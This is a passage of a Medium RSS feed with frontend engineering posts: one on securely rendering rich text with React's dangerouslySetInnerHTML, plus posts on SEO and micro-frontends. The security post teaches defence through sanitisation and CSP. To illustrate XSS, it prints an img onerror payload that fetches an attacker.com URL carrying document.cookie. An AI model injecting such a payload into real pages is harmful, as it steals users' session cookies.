improve machine comprehension.</p><p>In many ways, designing for Googlebot today also means designing for AI systems tomorrow.</p><h3>Build for the Browser. Architect for Everyone.</h3><p>Modern frontend engineers aren’t simply building interfaces.</p><p>We’re building systems consumed by people, browsers, search engines, accessibility tools, social platforms, and AI models.</p><p>Each of these consumers has different capabilities.</p><p>The best architectures acknowledge that reality.</p><p>Googlebot doesn’t need animations.</p><p>It doesn’t care about your component library.</p><p>It doesn’t appreciate elegant hooks or beautifully organized folders.</p><p>It needs clarity.</p><p>It needs structure.</p><p>It needs content that is available without unnecessary effort.</p><p>When we build with that mindset, something interesting happens.</p><p>Our applications become faster.</p><p>They become easier to maintain.</p><p>They become more accessible.</p><p>And they become significantly easier to discover.</p><p>Perhaps that’s the biggest lesson I’ve learned over the years of frontend engineering:</p><blockquote><strong><em>The best SEO strategy isn’t a checklist. It’s an architecture that makes information easy for every consumer, human or machine to understand.</em></strong></blockquote><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=d2190849b4a0" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[When dangerouslySetInnerHTML is Mandatory: Implementing Secure Design Patterns for Rich Text…]]></title>
            <link>https://medium.com/@ramya_selvaraj/when-dangerouslysetinnerhtml-is-mandatory-implementing-secure-design-patterns-for-rich-text-4495c1fcbc4e?source=rss-3e06f48ee7f3------2</link>
            <guid isPermaLink="false">https://medium.com/p/4495c1fcbc4e</guid>
            <category><![CDATA[frontend]]></category>
            <category><![CDATA[code-security]]></category>
            <category><![CDATA[front-end-development]]></category>
            <category><![CDATA[frontend-security]]></category>
            <category><![CDATA[frontend-development]]></category>
            <dc:creator><![CDATA[Ramya Selvaraj]]></dc:creator>
            <pubDate>Mon, 29 Jun 2026 04:12:30 GMT</pubDate>
            <atom:updated>2026-06-29T04:12:30.481Z</atom:updated>
            <content:encoded><![CDATA[<h3>When dangerouslySetInnerHTML is Mandatory: Implementing Secure Design Patterns for Rich Text Payloads</h3><p>Every React developer has heard the advice</p><blockquote><strong><em>“Avoid </em></strong><strong><em>dangerouslySetInnerHTML&quot;</em></strong></blockquote><p>It’s good advice, but it’s not always practical.</p><p>In many production applications, rendering HTML isn’t optional.</p><p>Think about applications that display:</p><ul><li>CMS content</li><li>Blog articles</li><li>Product descriptions</li><li>Marketing pages</li><li>Help center articles</li><li>Rich text from third-party APIs</li></ul><p>In these cases, the backend often returns HTML like this:</p><pre>&lt;h2&gt;Summer Sale&lt;/h2&gt;<br>&lt;p&gt;Save &lt;strong&gt;40%&lt;/strong&gt; on selected products.&lt;/p&gt;<br>&lt;a href=&quot;/offers&quot;&gt;View Offers&lt;/a&gt;</pre><p>If you try to render this as a normal React string:</p><pre>&lt;div&gt;{content}&lt;/div&gt;</pre><p>React displays the HTML as plain text instead of rendering it.</p><p>That’s because React escapes all strings by default to protect your application from Cross-Site Scripting (XSS) attacks.</p><p>When you actually need to render HTML, React provides one option:</p><pre>&lt;div dangerouslySetInnerHTML={{ __html: content }} /&gt;</pre><p>The name sounds intimidating, but the API itself isn’t dangerous.</p><p>The real risk is rendering HTML that you don’t trust.</p><h3>Why React Escapes HTML</h3><p>React automatically escapes anything passed as a string.</p><p>For example,</p><pre>&lt;p&gt;{comment}&lt;/p&gt;</pre><p>If someone submits:</p><pre>&lt;script&gt;alert(&quot;Hacked&quot;)&lt;/script&gt;</pre><p>React treats it as text instead of executable HTML.</p><p>This default behavior protects your users from XSS attacks.</p><p>When you use dangerouslySetInnerHTML, you&#39;re asking React to skip this protection and insert the HTML directly into the DOM.</p><p>That’s why it’s called <strong>dangerously</strong>.</p><h3>What Can Go Wrong?</h3><p>Imagine your application renders HTML received from an API.</p><pre>const html = apiResponse.content;</pre><pre>return (<br>  &lt;div<br>    dangerouslySetInnerHTML={{<br>      __html: html<br>    }}<br>  /&gt;<br>);</pre><p>Now imagine someone manages to inject this into the content:</p><pre>&lt;img<br>  src=&quot;x&quot;<br>  onerror=&quot;fetch(&#39;https://attacker.com?cookie=&#39; + document.cookie)&quot;<br>&gt;</pre><p>Since React isn’t escaping the HTML anymore, the browser executes the event handler.</p><p>That’s an XSS vulnerability.</p><p>The issue isn’t dangerouslySetInnerHTML.</p><p>The issue is trusting HTML without validating it first.</p><h3>Never Render Unsanitized HTML</h3><p>The first rule is simple:</p><blockquote><strong><em>Never render HTML that hasn’t been sanitized.</em></strong></blockquote><p>Sanitization removes unsafe elements while preserving formatting.</p><p>For example:</p><p><strong>Keep</strong></p><ul><li>&lt;p&gt;</li><li>&lt;strong&gt;</li><li>&lt;em&gt;</li><li>&lt;ul&gt;</li><li>&lt;li&gt;</li><li>&lt;a&gt;</li></ul><p>Remove</p><ul><li>&lt;script&gt;</li><li>&lt;iframe&gt;</li><li>&lt;object&gt;</li><li>Inline event handlers like onclick</li><li>javascript: URLs</li></ul><p>One of the most widely used libraries for this is <strong>DOMPurify</strong>.</p><h3>Build One Rich Text Component</h3><p>One mistake I often see is using dangerouslySetInnerHTML directly across multiple components.</p><p>That makes security reviews difficult because every implementation has to be checked individually.</p><p>Instead, create a single reusable component responsible for rendering HTML.</p><pre>import DOMPurify from &quot;dompurify&quot;;<br>import { useMemo } from &quot;react&quot;;</pre><pre>interface RichTextProps {<br>  html: string;<br>  className?: string;<br>}</pre><pre>export function RichText({ html, className }: RichTextProps) {<br>  const sanitizedHtml = useMemo(() =&gt; ({<br>    __html: DOMPurify.sanitize(html, {<br>      ALLOWED_TAGS: [<br>        &quot;p&quot;,<br>        &quot;strong&quot;,<br>        &quot;em&quot;,<br>        &quot;ul&quot;,<br>        &quot;ol&quot;,<br>        &quot;li&quot;,<br>        &quot;a&quot;,<br>        &quot;br&quot;<br>      ],<br>      ALLOWED_ATTR: [<br>        &quot;href&quot;,<br>        &quot;target&quot;,<br>        &quot;rel&quot;<br>      ]<br>    })<br>  }), [html]);</pre><pre>  return (<br>    &lt;div<br>      className={className}<br>      dangerouslySetInnerHTML={sanitizedHtml}<br>    /&gt;<br>  );<br>}</pre><p>This gives your application a single place to:</p><ul><li>sanitize HTML</li><li>configure allowed tags</li><li>update security rules</li><li>improve performance</li></ul><p>Future changes become much easier because every page uses the same component.</p><h3>Security Shouldn’t Depend on One Layer</h3><p>Client-side sanitization is important, but it shouldn’t be your only defense.</p><p>A stronger architecture sanitizes content in multiple places.</p><h3>1. Sanitize Before Saving</h3><p>If content comes from a CMS or editor, sanitize it before storing it in your database.</p><p>That prevents unsafe HTML from spreading to other applications that consume the same data.</p><h3>2. Sanitize Before Rendering</h3><p>Even if the backend already sanitizes content, sanitize it again before rendering.</p><p>This protects your application if data changes unexpectedly or another service introduces unsafe HTML.</p><p>Think of it as defense in depth.</p><h3>Add a Content Security Policy</h3><p>Even well-tested libraries can have vulnerabilities.</p><p>That’s where a Content Security Policy (CSP) helps.</p><p>A strict CSP tells the browser what scripts are allowed to execute.</p><p>For example:</p><pre>Content-Security-Policy:<br>default-src &#39;self&#39;;<br>script-src &#39;self&#39;;<br>object-src &#39;none&#39;;</pre><p>CSP isn’t a replacement for sanitization.</p><p>It’s another layer of protection if something slips through.</p><h3>Do You Need HTML at All?</h3><p>Before using dangerouslySetInnerHTML, ask one question:</p><p><strong>Do I actually need HTML?</strong></p><p>Many modern editors, don’t store HTML.</p><p>Instead, they store structured JSON.</p><pre>{<br>  &quot;type&quot;: &quot;paragraph&quot;,<br>  &quot;children&quot;: [<br>    {<br>      &quot;type&quot;: &quot;text&quot;,<br>      &quot;text&quot;: &quot;Hello World&quot;<br>    }<br>  ]<br>}</pre><p>Your React application converts that JSON into components.</p><pre>return &lt;p&gt;{node.children.map(renderNode)}&lt;/p&gt;;</pre><p>Because React is creating the elements itself, there’s no need to inject raw HTML, which significantly reduces the risk of XSS.</p><p>If you’re designing a new system, structured content is often a better long-term choice than storing HTML.</p><h3>Key Takeaways</h3><p>Whenever I review React applications, I look for a few things:</p><p>✅ dangerouslySetInnerHTML is used only inside a shared RichText component.</p><p>✅ HTML is sanitized before rendering.</p><p>✅ Only the minimum required tags and attributes are allowed.</p><p>✅ A Content Security Policy is enabled.</p><p>✅ The team evaluates whether structured content can replace HTML altogether.</p><h3>Final Thoughts</h3><p>dangerouslySetInnerHTML has earned its reputation because it&#39;s easy to misuse.</p><p>But avoiding it completely isn’t realistic for many applications.</p><p>The goal isn’t to eliminate the API.</p><p>The goal is to build an architecture where rendering rich text is predictable, reusable, and secure.</p><p>When HTML is treated as untrusted input, sanitized consistently, and rendered through a single well-tested component, dangerouslySetInnerHTML becomes just another tool, not a security risk.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=4495c1fcbc4e" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[The Architectural Pivot: Micro-frontends vs. Monoliths]]></title>
            <link>https://medium.com/@ramya_selvaraj/the-architectural-pivot-micro-frontends-vs-monoliths-90a8d4b24dec?source=rss-3e06f48ee7f3------2</link>
            <guid isPermaLink="false">https://medium.com/p/90a8d4b24dec</guid>
            <category><![CDATA[frontend-development]]></category>
            <category><![CDATA[web-development]]></category>
            <category><![CDATA[frontend]]></category>
            <category><![CDATA[micro-frontends]]></category>
            <category><![CDATA[software-architecture]]></category>
            <dc:creator><![CDATA[Ramya Selvaraj]]></dc:creator>
            <pubDate>Fri, 26 Jun 2026 21:45:44 GMT</pubDate>
            <atom:updated>2026-06-26T21:45:44.170Z</atom:updated>
            <content:encoded><![CDATA[<h3>A practical way to decide what your front-end actually needs</h3><h3>There is No “Best” Architecture</h3><p>One of the most common mistakes teams make is to find the “perfect” architecture.</p><p>There isn’t one.</p><p>Most architecture decisions are not about choosing the smartest technical solution. They are about choosing what helps your team build and ship software without slowing each other down.</p><p>Micro-frontends have become popular especially in large organizations. They promise team independence and faster releases.</p><p>The question should not be <strong>“ Should we use micro-frontends?”</strong></p><p>The better question is <strong>“What problem are we trying to solve?”</strong></p><p>As an engineering lead, I’ve learned that architecture is rarely about code alone. It’s mostly about people, ownership and how fast teams can deliver changes safely.</p><p>The best architecture is usually the one that creates the least friction.</p><h3>The Hidden Costs of Micro-frontends</h3><p>Micro-frontends sounds great on paper.</p><p>In practice, they introduce new problems.</p><p><strong>More coordination, not less</strong></p><p>Splitting one application into many smaller ones means teams now have to coordinate shared dependencies, releases, version upgrades and integration points.</p><p>You gain independence, but you also create more moving parts.</p><h3>Performance can suffer</h3><p>This is often missed early.</p><p>Different micro-frontends may load the same libraries multiple times. Bundle sizes grow. Initial load times get worse.</p><p>The app works, but slowly becomes heavier overtime.</p><h3>UI consistency gets harder</h3><p>Keeping a consistent user experience across multiple teams is difficult.</p><p>Buttons start looking slighlty different. Validation behaves differently. Flows feel inconsistent.</p><p>Without a strong shared component library, the product starts stitched together.</p><h3>The Decision Matrix</h3><p>Instead of asking “<em>Should we adopt micro-frontends</em>?” ask these four questions:</p><ol><li><strong>How big is your engineering team?</strong><br>- If you have 1–2 squads ( under ~15 engineers) a monolith is usually sufficient.<br>- If you have 3+ squads with independent ownership, micro-frontends become worth considering.</li><li><strong>Are features tightly connected?</strong><br>- If workflows are deeply interconnected, stay monolithic.<br>- If domains like, Search, user profile and feed evolve independently, separation makes sense.</li><li><strong>How often do teams release?<br></strong>- If releases are coordinated and infrequent, a monolith keeps things simpler.<br>- If teams constantly wait on each other to ship changes, that’s a signal.</li><li><strong>Can your infrastructure support it?<br></strong>- Micro-frontends need strong CI/CD, good observability and reliable deployment pipelines. <br>- Without that foundation, complexity grows fast.</li></ol><p>Choose based on team size, release plan and ownership boundaries, not hype.</p><h3>The Tipping Point: When Migration Makes Sense</h3><p>The biggets reason to move to micro-frontends is usually not technical.</p><p>It’s organizational.</p><p>When multiple teams keep touching the same files, conflicting in pull requests, or blocking each other in releases, tthe real problem is coordination.</p><p>Micro-frontends can help by giving teams clear ownership.</p><p>But they help only if your engineering practices are already strong.</p><p>Otherwise, you simply move chaos into smaller repositories.</p><p>Before migrating, ask:</p><p><strong>Are teams blocked because of architecture or because of process?</strong></p><p>That distinction matters.</p><h3>Architecture vs. Process : What’s actually blocking Teams</h3><p>A useful way to think about scaling problems is to ask <strong>are teams blocked by the architecture or by the process around it?</strong></p><p>If the problem is architecture, you usually see tightly coupled code, frequent conflicts in the same parts of the system, and changes that require touching too many areas at once. In that case, the structure of the system itself is creating friction.</p><p>If the problem is process, the codebase may be fine, but delivery is still slow. Pull requests sit for too long. Reviews take time. Releases are hard to coordinate. Ownership is unclear. The slowdown comes from how work moves through the system, not from the system design itself.</p><p>This distinction matters because micro-frontends mainly address structural problems. They do very little to fix process problems — and can even spread them across more teams if the underlying workflow doesn’t improve.</p><p>A simple way to remember it:</p><ul><li>If code structure is causing dependency pain -&gt; architecture problem</li><li>If coordination, review, or delivery is slow -&gt; process problem</li></ul><h3>My Practical Playbook</h3><p>I rarely recommend breaking a system apart immediately.</p><p>There are safer steps first.</p><h3>Start with a Monorepo</h3><p>Before splitting applications, create clearer boundaries inside a shared codebase.</p><p>Tools like Turborepo or Nx help teams to share code while keeping ownership clear.</p><p>Often, this solves the problem without needing micro-frontends.</p><h3>Invest in a design system</h3><p>If teams cannot share UI components reliably, micro-frontends will become messy.</p><p>Shared components reduce inconsistency and duplication.</p><p>This is foundational.</p><h3>Migrate gradually</h3><p>Don’t split everything at once.</p><p>Extract one feature or domain first. Learn from it. Improve the process. Then decide whether further splitting makes sense.</p><p>Small migrations are easier to manage than large rewrites.</p><h3>Architecture Is a Business Decision</h3><p>Micro-frontends are not automatically better than monoliths.</p><p>They solve specific problems.</p><p>Use a monolith when simplicity and speed matter most.</p><p>Use micro-frontends when team independence becomes essential.</p><p>Don’t adopt complex architecture because it sounds modern.</p><p>Adopt it because your organization truly needs it.</p><p>Good architecture is not about using more technology.</p><p>It is about helping teams build software with less friction.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=90a8d4b24dec" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>